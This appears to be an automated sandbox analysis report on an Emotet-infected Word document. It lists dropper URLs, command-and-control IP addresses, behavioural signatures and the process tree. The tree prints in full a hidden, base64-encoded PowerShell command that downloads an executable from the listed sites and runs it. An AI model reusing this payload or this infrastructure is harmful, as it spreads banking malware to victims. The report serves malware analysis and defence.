Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    151s
  • resource
    win10v191014
  • submitted
    12/12/2019, 13:03

Sharing

Copy URL Twitter E-mail

General

  • Target
    Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.56.doc
  • Sample191212-e3m9rmbqsj
  • SHA256 5df1f1341851c837a5892bd964c406fe101dd9154c3b5c1df36eb95372c604e0
Score
10/10
evasiontrojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://acqua.solarcytec.com/rtsbgs/XiWmtYYur/
  • exe.dropper

    https://blog.learncy.net/wp-admin/user/oxZqQp/
  • exe.dropper

    http://hospitalsanrafael.ainimedina.com/wp-includes/vwf-i8ge-4445917/
  • exe.dropper

    https://sg771.kwikfunnels.com/phpmyadmin_bck/x9tfn-lv1h4-174129596/
  • exe.dropper

    http://www.siyinjichangjia.com/wp-content/WYszsP/

Extracted

Family

  • emotet

C2

  • 190.146.14.143:443

  • 85.235.219.74:80

  • 78.187.204.70:80

  • 46.105.128.215:8080

  • 69.30.205.162:7080

  • 192.161.190.171:8080

  • 163.172.97.112:8080

  • 86.98.157.3:80

  • 113.52.135.33:7080

  • 175.127.140.68:80

  • 212.129.14.27:8080

  • 200.41.121.69:443

  • 143.95.101.72:8080

  • 190.161.67.63:80

  • 50.116.78.109:8080

  • 37.46.129.215:8080

  • 119.57.36.54:8080

  • 212.112.113.235:80

  • 46.105.131.68:8080

  • 1.32.54.12:8080

rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Drops file in Windows directory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.56.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:4956
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5080
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:5108
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABZAGwAcABnAGQAegBtAGIAPQAnAFUAcwBzAGIAYgBtAHoAaAB1AGgAeABrAGUAJwA7ACQATABnAGUAZABrAGsAZABxAHcAIAA9ACAAJwAxADcANwAnADsAJABJAHoAegBxAHoAaABxAHoAdAB5AHoAPQAnAEEAaQBkAHcAagBxAG4AbABjAGoAeABlAGoAJwA7ACQARABiAGIAcwBrAHAAdwBhAHoAdgBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABMAGcAZQBkAGsAawBkAHEAdwArACcALgBlAHgAZQAnADsAJABFAG4AaABsAGsAcABxAG0APQAnAFkAbQBjAHQAaABjAG4AagBrAHUAeQAnADsAJABCAHkAdwB3AG0AegB5AHAAbgBlAD0AJgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBCAEMATABJAEUAbgBUADsAJABGAGkAdgBsAHcAbAB6AG8AeQB1AHUAdABsAD0AJwBoAHQAdABwADoALwAvAGEAYwBxAHUAYQAuAHMAbwBsAGEAcgBjAHkAdABlAGMALgBjAG8AbQAvAHIAdABzAGIAZwBzAC8AWABpAFcAbQB0AFkAWQB1AHIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGwAbwBnAC4AbABlAGEAcgBuAGMAeQAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8AdQBzAGUAcgAvAG8AeABaAHEAUQBwAC8AKgBoAHQAdABwADoALwAvAGgAbwBzAHAAaQB0AGEAbABzAGEAbgByAGEAZgBhAGUAbAAuAGEAaQBuAGkAbQBlAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHYAdwBmAC0AaQA4AGcAZQAtADQANAA0ADUAOQAxADcALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGcANwA3ADEALgBrAHcAaQBrAGYAdQBuAG4AZQBsAHMALgBjAG8AbQAvAHAAaABwAG0AeQBhAGQAbQBpAG4AXwBiAGMAawAvAHgAOQB0AGYAbgAtAGwAdgAxAGgANAAtADEANwA0ADEAMgA5ADUAOQA2AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AcwBpAHkAaQBuAGoAaQBjAGgAYQBuAGcAagBpAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBXAFkAcwB6AHMAUAAvACcALgAiAFMAYABQAGwASQB0ACIAKAAnACoAJwApADsAJABVAG4AaABjAGcAcQBiAG0AcABmAG0APQAnAFIAbgBmAGgAagB3AGIAaABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAgAGkAbgAgACQARgBpAHYAbAB3AGwAegBvAHkAdQB1AHQAbAApAHsAdAByAHkAewAkAEIAeQB3AHcAbQB6AHkAcABuAGUALgAiAEQAbwB3AE4AbABvAGAAQQBkAGYAYABJAEwAZQAiACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAsACAAJABEAGIAYgBzAGsAcAB3AGEAegB2AGYAKQA7ACQAUwB1AGcAawB1AHoAaQBmAGwAeQA9ACcAQwBuAGoAdgBhAGMAaQBnAHEAeQBhAGwAegAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApAC4AIgBMAGAARQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMgAyADkAMAA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABhAGAAUgB0ACIAKAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApADsAJABDAHIAZwBpAGsAdwBqAGwAawBxAD0AJwBYAGgAagBoAGUAcQBkAHQAegBhAGEAJwA7AGIAcgBlAGEAawA7ACQAVwB2AHQAdQB2AGwAcgB3AD0AJwBUAHMAZQBuAGYAZQB5AGwAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBqAGoAcAB0AGcAaQBhAGsAawA9ACcAQgBmAG4AYgBwAHIAcABmAGEAdQBhACcA
      1⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      PID:3248
      • C:\Users\Admin\177.exe
        "C:\Users\Admin\177.exe"
        2⤵
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        PID:4616
        • C:\Users\Admin\177.exe
          --653e7fcf
          3⤵
          • Suspicious behavior: EmotetMutantsSpam
          • Suspicious use of SetWindowsHookEx
          • Drops file in System32 directory
          • Executes dropped EXE
          PID:760
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s BITS
      1⤵
      • Drops file in Windows directory
      PID:4328
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
      1⤵
        PID:4136
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
        1⤵
          PID:3324
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k unistacksvcgroup
          1⤵
            PID:4780
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:4536
            • C:\Program Files\Windows Defender\mpcmdrun.exe
              "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
              2⤵
              • Drops file in Windows directory
              PID:664
          • C:\Windows\SysWOW64\rawtextto.exe
            "C:\Windows\SysWOW64\rawtextto.exe"
            1⤵
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            • Executes dropped EXE
            PID:3680
            • C:\Windows\SysWOW64\rawtextto.exe
              --9035266
              2⤵
              • Suspicious behavior: EmotetMutantsSpam
              • Suspicious use of SetWindowsHookEx
              • Executes dropped EXE
              PID:520

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                memory/520-25-0x0000000000E10000-0x0000000000E27000-memory.dmp
                Download

                memory/520-26-0x0000000000400000-0x0000000000495000-memory.dmp
                Download

                memory/760-20-0x0000000000570000-0x0000000000587000-memory.dmp
                Download

                memory/760-21-0x0000000000400000-0x0000000000495000-memory.dmp
                Download

                memory/3680-23-0x0000000000720000-0x0000000000737000-memory.dmp
                Download

                memory/4616-18-0x00000000005A0000-0x00000000005B7000-memory.dmp
                Download

                memory/4956-0-0x0000024F234D0000-0x0000024F234D1000-memory.dmp
                Download